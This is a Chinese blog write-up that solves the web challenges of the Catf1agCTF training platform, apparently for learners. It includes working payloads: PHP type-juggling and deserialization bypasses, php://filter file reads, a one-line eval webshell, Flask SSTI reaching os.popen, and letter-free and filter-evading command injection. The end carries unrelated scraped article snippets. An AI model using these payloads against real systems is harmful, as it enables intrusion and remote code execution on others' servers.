Catf1agCTF-Web通关合集

本文相关的ctf平台链接:Catf1agCTF - 综合训练平台

WEB签到

查看源代码

flag倒叙了,可以使用下面这个

文本字符串倒序在线工具(ESJSON在线工具)

flag: 

catf1ag{welcome_to_catf1agctf_!!!_gogogo_!!!}

flag在哪呢? 

 

查看源代码

intval

源代码:

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
include('flag.php');
show_source('./index.php');
$num = $_GET['num'];
$num2 = intval($num);
if(isset($num) && $num != '123'){
    if($num == 123){
        echo $flag;
    }else{
        echo 'flag{this_flag_is_False}';
    }
}else{
    echo '你输入点东西行不行...';
}

?> 

 这题get传参

因为字符串和数字比较,字符串会被转换成数字。

所以绕过123加个a即可

payload:

?num=123a

easy_unser_1

源代码:

<?php
//error_reporting(0);

show_source('./index.php');
class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
$un = $_GET['str'];

if($ser == $un){
  include('flag.php');
  echo $flag;
}else{
  echo "你真棒~";
}
?> 

 这题是道比较基础反序列化,可能也说不上吧

解题思路就是传个跟flag反序列化后一样的字符串即可

这里可以直接把前面的复制下来

payload:

<?php
class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag); 
echo $ser;
?>
?str=O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

rce_me_1

题目提示了是rce

我们就直接命令执行吧

?cmd=ls

 找到文件位置

现在我们查看

?cmd=cat get_flag_in_there_!!!!!!!!!!!!!!!!!!!

json

源代码:

<?php
show_source('index.php');
include('flag.php');
$key = $_GET['key'];
$decode = json_decode($key);
if($decode->flag == $flag){
    echo $flag;
}else{
    echo "<h3>404 not found</h4>";
}

?> 

 首先我们介绍一下什莫是json:JSON概念很简单,JSON 是一种轻量级的数据格式,他基于 javascript 语法的子集,即数组和对象表示。由于使用的是 javascript 语法,因此JSON 定义可以包含在javascript 文件中,对其的访问无需通过基于 XML 的语言来额外解析。

输入一个数组进行json解码,如果解码后的key与flag值相同,会得到flag,主要思想还是弱类型进行绕过,我们不知道flag值是什莫,但是我们知道一件事就是它肯定是字符串,这样就可以了,上文讲过,两个等号时会转化成同一类型再进行比较,直接构造一个0就可以相等了。最终payload:

?key={"flag":0}

GET&POST

?flag=cat

 

flag=f1ag

robots

这里简单介绍一下robots.txt

robots.txt文件:

User-agent: *

Disallow: /admin/ 后台管理文件

Disallow: /require/ 程序文件

Disallow: /attachment/ 附件

Disallow: /images/ 图片

Disallow: /data/ 数据库文件

Disallow: /template/ 模板文件

Disallow: /css/ 样式表文件

Disallow: /lang/ 编码文件

Disallow: /script/ 脚本文件

robots.txt文件里还可以直接包括在sitemap文件的链接。就像这样:

Sitemap: http://www.***.com/sitemap.xml

robots.txt语法教程

用几个最常见的情况,直接举例说明:

  1. 允许所有SE收录本站:robots.txt为空就可以,什么都不要写。

  2. 禁止所有SE收录网站的某些目录:

User-agent: *

Disallow: /目录名1/

Disallow: /目录名2/

Disallow: /目录名3/

  1. 禁止某个SE收录本站,例如禁止百度:

User-agent: Baiduspider

Disallow: /

  1. 禁止所有SE收录本站:

User-agent: *

Disallow: /

访问/f1ag_is_in_there!!!

会下载一个文件,打开即可获得flag

easy_include_1

我们看一下源代码 

这里告诉我们flag在/get_flag

payload:

?file=php://filter/read=convert.base64-encode/resource=/get_flag

 

将红框内的字符串base64解码即可得到flag

strcmp

源代码:

<?php
error_reporting(0);
include('flag.php');
show_source("index.php");
$str = $_GET['str'];
$init_str = "get_flag";
if($str!=$init_str){
    if(strcmp($init_str,$str)==0){
        echo $flag;
    }else{
        echo "no";
    }
}else{
    echo "nonono";
}

?>

 strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,string str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

payload:

?str[]=0

easy_upload_1

文件上传

直接一句话木马

<?php
@eval($_POST('1'));
?>

然后直接蚁剑连接即可

easy_include_2

一打开很抽象

 查看源代码

可惜想简单了,这不是flag

这里提示了file传参

因为是文件包含题

所以我们直接按套路走

?file=php://filter/read=convert.base64-encode/resource=flag.php

这里提示不用加php后缀

?file=php://filter/read=convert.base64-encode/resource=flag

接下来base64解码即可

注意:这里要将catf1ag改为flag才能提交成功

swp

这里提示了swp

linux下vi/vim异常关闭是会存留.swp文件

方法:提示vim异常关闭,访问url/.index.php.swp,得到flag。

访问.index.php.swp会获得一个文件,打开后即可拿到flag

被黑了...

查看源代码

访问webshe11.php

打开是个空白页,猜测是一句话木马

这里有个难点就是要猜hacker为传参

?hacker=system('ls');

接下来就是直接查看flag

?hacker=system('cat hacker_flag.php');

easy_rce_2

源代码:

 <?php 
error_reporting(0);
show_source('index.php');
$cmd = $_GET['cmd'];
$preg = preg_match('/system|exec|shell_exec|`|popen/',$cmd);
if(!$preg){
    eval($cmd);
}else{
    echo "非法字符";
}
?> 

这里我们使用拼接绕过

?cmd=eval($_GET[1]);&1=system('ls');

?cmd=eval($_GET[1]);&1=system('cat f1ag_in_there.php');

不等于0

数组绕过秒了

?num[]=0

easy_flask_1

题目有提示/?cmd=

我们先尝试一下

接下来我们猜测可能为ssti

?cmd={{2*2}}

既然知道是ssti

我们直接查询配置信息,看有没有什么发现

?cmd={{config}}

easy_flask_2

跟上一题一样,我们先测试一下它是否为ssti

 这里直接给一个比较通用的payload:

?cmd={% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(108)%2bchr(115)).read()}}

这里的chr(108)%2bchr(115)为ls拼接 

可以参考下这个表

chr()表对应大全_chr(12)-CSDN博客

 接下来就是cat flag了

?cmd={% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(42)).read()}}

这里使用的是cat f*(后面不想找了.......) 

又双叒叕不能相等

源代码:

<?php
include('flag.php');
error_reporting(0);
show_source('index.php');
$init_num = '999999999999';
$user_num = $_GET['num'];
if(isset($user_num)){
    if($user_num != $init_num){
        if(strlen($user_num) < strlen($init_num)){
            if($user_num > $init_num){
                echo 'get glag:'.$flag;
            }else{
                echo '你输入的数字小于初始值~';
            }
        }else{
            echo '不能大于初始值~';
        }
    }else{
        echo '不能相等~';
    }
}else{
    echo '请输入内容~';
}
?> 

这里要求num长度小于999999999999又要大于999999999999

提示:字符串开头以xex开头,x代表数字。会被转换成科学计数法(注意一定要是0e/d+的模式)。

payload:

?num=1e12

这里没有发现flag,真奇怪

flag藏在响应头里了,离谱 

哦豁~还有一半呢? 

打开一片空白

查看源代码

 这里显示flagb,说明还有个flaga应该

查看响应头

接下来就是拼接,base64解码即可

bypass_wakeup

源代码:

<?php 
show_source(__FILE__);
class flag{
    public $name = "catflag";
    public function __wakeup(){
        echo "this is __wakeup<br>";
    }
    public function __destruct(){
        show_source('flag.php');
        echo "this is __destruct<br>";
    }
}

$str = $_GET["ser"];
@$un_str = unserialize($str);

echo $un_str->name."<br>";

 ?>

 这题是反序列化

比较简单,只要绕过__wakeup即可

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

<?php 
show_source(__FILE__);
class flag{
    public $name = "catflag";
    public function __wakeup(){
        echo "this is __wakeup<br>";
    }
    public function __destruct(){
        show_source('flag.php');
        echo "this is __destruct<br>";
    }
}

$a=new flag();
echo serialize($a);
//O:4:"flag":1:{s:4:"name";s:7:"catflag";}

修改为

?ser=O:4:"flag":2:{s:4:"name";s:7:"catflag";}

无字符webshell

源代码:

 <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){

    die("giaogiaogiao!!!");
}
else {
    eval($cmd);
}
highlight_file(__FILE__)
?> 

 这里要绕过字母和数字

异或绕过有点麻烦,这里看别的师傅写的

想学习的可以参考一下这个文章浅析CTF绕过字符数字构造shell_ctf 只能字母或者数字登录-CSDN博客

?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls /

分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。  

接下来就是cat /flag.txt

?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=cat /flag.txt

 舔dog日记

(听哥一句劝,别当舔dog,不喜欢就是不喜欢)

我们先打开日记1看看

这里有filename,盲猜后面是base64编码后的 

我们尝试一下flag.php

?filename=ZmxhZy5waHA=

查看源代码即可发现flag 

遍历遍历

这里刷新一次就有一句话,应该是要我们写脚本遍历

脚本

import requests
url = "http://subject.catf1ag.cn:47522/"  #这里填入题目的url
for i in range(250):
    result = requests.get(url)
    if 'catf1ag' in result.text:
        print(result.text)
        break

这里需要等几秒才能显示 

easy_rce_3

源代码:

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
    if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|flag|rm|\/|echo|\.|\*|\?/i',$_GET['cmd'])){
        @eval($_GET['cmd']);
    }else{
        echo "danger_string";
    }
}else{
    echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
?>

 这题没有过滤system

?cmd=system('ls');

这里利用文件包含伪协议

?cmd=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=flag.php

 base64解码即可

easy_rce_4

源代码:

<?php
error_reporting(0);
show_source('index.php');
$cmd = $_GET['a'];
$a = '/flag|cat|tac|more|less|[ |<>|?|*|\\\\\'"]/';
if(preg_match($a,$cmd)){
    echo "not allow";
}
else{
    if(strlen($cmd)<=50&$cmd!=''){
        echo "you are success!";
    }
    else{
        system($cmd);
    }
}
?> 

即有过滤,又加了长度限制

这里可以使用nl或者tail

因为这里过滤了空格,可以使用%0a或者%09还有{IFS}等绕过(这里%0a不行)

?a=%ls;6666666666666666666666666666666666666666666666666666666666666

?a=nl%09f1111111111111111111111111ag.php;6666666666666666666666666666666666666666666666666666666666666

flag藏在源代码里面 

xss_alert

开始试了很多xss,发现没反应 

看了下源代码,发现只要触发alert即可

接下来base64解码即可 

 [两小时AK赛] 你猜猜是什么注入

开始以为是ssti 

看了别的师傅提示tee 

 tee的功能是从标准输入读取,再写入标准输出和文件。

?catf1ag=ls / | tee 2.txt

简单解释一下,就是将ls /写入2.txt里

然后访问2.txt就会触发ls /

?catf1ag=cat /flag | tee 3.txt

 json_2

源代码:

<?php
show_source(__FILE__);
$strs = json_decode($_GET['strs']);
$key = '************************';
$flag = 'catf1ag{***********************************}';
foreach($strs as $keys=>$values){
    if($values == $key){
        echo $flag;
    }else{
        echo 'failed';
    }
}
?>

这题跟前面那一题有点不一样

这里key为纯数字或者数字开头的字符串

所以这里改为布尔值true(布尔值可以和任何字符串相等。)

?strs={"key":true}

MD5弱比较

源代码:

<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$username = $_GET['username'];
$password = $_GET['password'];
if($username != $password){
    if(md5($username) == md5($password)){
        echo 'GET_FLAG:'.$flag;
    }else{
        echo 'md5校验出错...';
    }
}else{
    echo '用户名密码不能相等!';
}
?>

 这里简单讲解下弱比较

“= =”:会把两端变量类型转换成相同的,在进行比较。

这里明确说明,在两个相等的符号中,一个字符串与一个数字相比较时,字符串会转换成数值。

例子:

<?php
 var_dump("name"==0);  //true
 var_dump("1name"==1); //true
 var_dump("name1"==1) //false
 var_dump("name1"==0) //true
 var_dump("0e123456"=="0e4456789"); //true
 var_dump("0e1abc"=="0"); //true
 ?>

 当出现xex模式的时候代表科学计数法,比如1e3=1*10三次方,在进行比较运算时,如果遇到了0e\d+(意思就是0e就是0e,d+的意思是后面全部是数字)这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。

下面提供一下md加密后0e开头的

纯数字类:

240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412

大写字母类:

QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001
GEGHBXL 0e248776895502908863709684713578
GGHMVOE 0e362766013028313274586933780773
GZECLQZ 0e537612333747236407713628225676
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MAUXXQC 0e478478466848439040434801845361
MMHUWUV 0e701732711630150438129209816536

payload:

?username=240610708&password=QLTHNDT

MD5强对比

源代码:

<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$username = $_GET['username'];
$password = $_GET['password'];
if($username != $password){
    if(md5($username) === md5($password)){
        echo 'GET_FLAG:'.$flag;
    }else{
        echo 'md5校验出错...';
    }
}else{
    echo '用户名密码不能相等!';
}
?>

这里使用了===强比较

 直接构造数组就可以绕过了

payload:

?username[]=1&password[]=2

md5($md5)

源代码:

<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$md5 = $_GET['md5'];
if($md5 == md5($md5)){
    echo 'GET_FLAG'.$flag;
}else{
    echo 'md5校验失败...';
}
?>

 一般的md5绕过是传入0e开头的md5值,因为在弱比较时,弱比较中会截取一个字符串的数字,知道遇到字符截止,对于0e+数字的值只会截取e之前的0,所以这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017 、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a

payload:

?md5=0e215962017

[原九小时AK赛] passwd

题目描述:
	小cat是某公司的安全侦察人员,在2022年9月9日凌晨6点,
	小cat抓取到了几条疑似a人员和b人员交流的包,
	经过破译,大致意思是“在今年xx月xx日xx点xx分准时进行数据交易”,
	但是唯独不能完全破解出来,于是他发到公司的网络安全群寻求帮助:
	69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95
	(密文格式是:年份必须是4位数,月日时分必须是两位数,需要用0补齐,比如2022年01月01日01时01分

看着像是密码的题,不知道为什么跑web来了

Hash Analyzer - TunnelsUP

 不出意外是sha256

题目有提示2022年并且为12位密码

所以编写python脚本

from hashlib import sha256
for i in range(202210000000,202212320000):
    a='69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95'
    if(sha256(str(i).encode()).hexdigest()==a):
        print(i)

 202211121750

[原九小时AK赛] whisper

查看源代码 

 

url加上whisper 

查看源代码(离谱!)

又是一道密码题......

这题要在kali安装BaseCrack工具

可以看这个文章

BaseCrack:一款功能强大的Base编码解码工具 - FreeBuf网络安全行业门户 

git clone https://github.com/mufeedvh/basecrack.git

cd basecrack

pip install -r requirements.txt

下载需要等待一会

python basecrack.py -h

 安装完成

 先nano hash.txt,将]DW3(ivp$&AsexbR32]={&8C"7)xB写入

nano hash.txt
]DW3(ivp$&AsexbR32]={&8C"7)xB
python basecrack.py --magic -f hash.txt

获得一半的flag

catf1ag{I_b41i3v3_y0U_c 

题目提示不同方法,不同效果

bp抓包,将GET改为POST

这剩下一半是接不上的,要凯撒密码一下

找开头为an的即可

凯撒(Caesar)加密/解密 - Bugku CTF

an_f1nd_all_0f_m3}

所以最终flag为

catf1ag{I_b41i3v3_y0U_can_f1nd_all_0f_m3}

[红包题] 冬至当然要吃汤圆和饺子

查看源代码即可

web也能套! 

 <?php
session_start();
//flag in flag
$_SESSION['who'] = 'admin';
$_SESSION['wh0'] = 'admin123';
var_dump($_ENV[$_POST[$_GET[$_SESSION['who']]]]);
?> 

猜测将环境变量改为flag

GET:
?admin=1
POST:
1=flag

简单的越权

根据提示我们传参抓包看看

这里应该要改cookie

 info base64解码结果为admin

这里应该要把admin改为admini

d2VsY29tZV90b19jYXRmMWFnX2xvZ2luXzphZG1pbmk=

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/436455.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

1、MQ_介绍、优缺点、类型等

MQ介绍 1. MQ概述 MQ&#xff08;Message Queue&#xff09;&#xff1a;消息队列&#xff0c;是基础数据结构中FIFO&#xff08;first in first out&#xff09;的一种数据结构。一般用来解决流量削峰、应用解耦、异步处理等问题&#xff0c;实现高性能&#xff0c;高可用&a…

Error:java:JDK isn‘t specified for module “模块名称“

可能是创建模块后不小心删掉了.idea.或.idea出错 只要删除.idea&#xff0c;close project出去&#xff0c;重新进让idea自动下载

FL Studio2024中文正式版水果编曲软件(支持苹果M1处理器)

FL Studio 2024是一款功能强大的数字音频工作站&#xff0c;它具有多种功能和特点&#xff0c;使得音乐制作变得更加简单、高效和有趣。 首先&#xff0c;它支持多轨录音和编辑&#xff0c;用户可以同时处理多个音频轨道&#xff0c;进行复杂的音乐编排和混音。此外&#xff0…

蜘蛛池是什么意思,怎么生成蜘蛛池

蜘蛛池是由自然界中的蜘蛛群落构成的一个小生态系统&#xff0c;也是身处自然界中的游客们可以在风雨中体验到最贴近自然气息的地方。 点开我主页面 Baidu蜘蛛的作用&#xff1a; 引蜘蛛逐渐收录&#xff0c;降权引蜘蛛可以疗伤&#xff0c;排名/收录不稳定&#xff0c;没有收…

基于springboot+vue的善筹网众筹网站

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

Linux 开发工具 yum、git、gdb

目录 一、yum 1、软件包 2、rzsz 3、注意事项 4、查看软件包 5、安装软件 6、卸载软件 二、git操作 1、克隆三板斧 2、第一次使用会出现以下情况&#xff1a; 未配置用户名和邮箱&#xff1a; push后弹出提示 三、gdb使用 1、背景 2、使用方法 例一&#xff1a…

数据库:2024/3/6

作业1&#xff1a;使用C语言完成数据库的增删改 代码&#xff1a; #include <myhead.h>//定义添加员工信息函数 int Add_worker(sqlite3 *ppDb) {//准备sql语句printf("请输入要添加的员工信息:\n");//从终端获取员工信息char rbuf[128]"";fgets(r…

阿里云2核2G服务器多少钱?99元一年,轻量云是61元一年

阿里云2核2G服务器多少钱&#xff1f;99元一年&#xff0c;轻量云服务器是61元一年。2核2G服务器性能如何&#xff1f;性能很不错&#xff0c;不限制CPU性能&#xff0c;99元2核2G服务器是ECS经济型e实例&#xff0c;61元2核2G服务器是轻量应用服务器&#xff0c;都是3M公网带宽…

Facial Micro-Expressions:An Overview 阅读笔记

Proceedings of the IEEE上一篇微表情相关的综述&#xff0c;写的很详细。从心理学与计算机两个领域阐述了微表情生成的原因与相关算法&#xff0c;值得仔细研读。 摘要&#xff1a; Four main tasks in ME analysis arespecifically discussed,including ME spotting,ME recog…

【MySQL】数据库设计

目录 数据库设计基本任务 软件项目开发周期中数据库设计数据库设计的基本步骤解释需求分析需求分析的三个步骤&#xff1a;1.需求调查:2.分析数据字典内容定义数据的方法案例 3. 评审 概念结构设计概念模型概念结构设计E-R图概念模型组成元素&#xff1a;关系解释案例分析 逻辑…

获得店铺的所有商品API接口

使用淘宝淘口令接口的步骤通常包括&#xff1a; 注册成为淘宝开放平台的开发者&#xff1a;在淘宝开放平台网站上注册账号并完成认证。 创建应用以获取API密钥&#xff1a;在您的开发者控制台中创建一个应用&#xff0c;并获取用于API调用的密钥&#xff0c;如Client ID和Clie…

【QT】鼠标事件<QMouseEvent>

事件&#xff08;鼠标事件&#xff09; 功能单一的事件&#xff0c;鼠标进来是一个事件&#xff0c;鼠标出去是另外一个事件。 QT提供了很多的事件函数&#xff0c;我们通过重写这些事件函数就可以实现我们想要的效果。 事件函数都是虚函数 写一个子类&#xff0c;继承QLab…

Python 文件基础科普与文件打开技术详解【第117篇—文件打开技术】

Python 文件基础科普与文件打开技术详解 在Python编程中&#xff0c;文件操作是一项基础而重要的任务。无论是读取数据、写入文件还是进行其他文件处理操作&#xff0c;都需要对文件基础知识有一定的了解。在本文中&#xff0c;我们将首先介绍Python文件的基础概念&#xff0c…

Unity性能优化篇(九) 模型优化之LOD技术概述以及操作方法

LOD模型优化技术概述: 1.LOD技术可以根据摄像头远近来显示不同精度的模型(例如吃鸡游戏 随着跳伞高度 来显示下面树木以及建筑的模型精度) LOD模型优化技术操作方法: 可使用Unity自带的LOD Group组件&#xff0c;并根据项目的情况来调整该组件的属性。Untiy资源商店也有一些其…

机器学习——线性回归

机器学习——线性回归 文章目录 机器学习——线性回归一、什么是线性回归二、一元线性回归方程三、损失函数四、代码实现五、运用说明 一、什么是线性回归 线性回归是一种用来建立自变量和因变量之间线性关系的统计分析方法&#xff0c;也是机器学习中最常见、最容易理解的一个…

Flyway 9.22.3 + springboot3 + MySQL8.0+,简单使用

文章目录 flyway的依赖配置ieda 启动&#xff01;&#xff01;&#xff01; 关于这篇文章主要是自己在使用flyway时遇到的一些问题以及最终的解决方法 当然包括所有的配置&#xff0c;主要目的是记录一下防止下次使用的时候忘记 flyway的依赖 这里 springboot 3 具体版本不再描…

力扣经典 4. 寻找两个正序数组的中位数(多种语言解)

给定两个大小分别为 m 和 n 的正序&#xff08;从小到大&#xff09;数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。算法的时间复杂度应该为 O(log (mn)) 。 目录 题目描述 知识点 解题思路 完整代码 Python Java C 题目描述 给定两个大小分别为 m 和…

Kakarot:当今以太坊的未来

1. 引言 前序博客&#xff1a; Kakarot&#xff1a;部署在Starknet上的ZK-EVM type 3 随着 Kakarot zkEVM 即将发布测试网&#xff0c;想重申下 Kakarot zkEVM 的愿景为&#xff1a; 为什么在rollup空间中还需要另一个 zkEVM&#xff1f; 开源代码见&#xff1a; https:/…

Python与FPGA——局部二值化

文章目录 前言一、局部二值化二、Python局部二值化三、FPGA局部二值化总结 前言 局部二值化较全局二值化难&#xff0c;我们将在此实现Python与FPGA的局部二值化处理。 一、局部二值化 局部二值化就是使用一个窗口&#xff0c;在图像上进行扫描&#xff0c;每扫出9个像素求平均…

Android耗电分析之Battery Historian工具使用

Battery-Historian是谷歌推出的一款专门分析Bugreport的工具&#xff0c;是谷歌在2015年I/O大会上推出的一款检测运行在android5.0(Lollipop)及以后版本的设备上电池的相关信息和事件的工具&#xff0c;是一款对于分析手机状态&#xff0c;历史运行情况很好的可视化分析工具。 …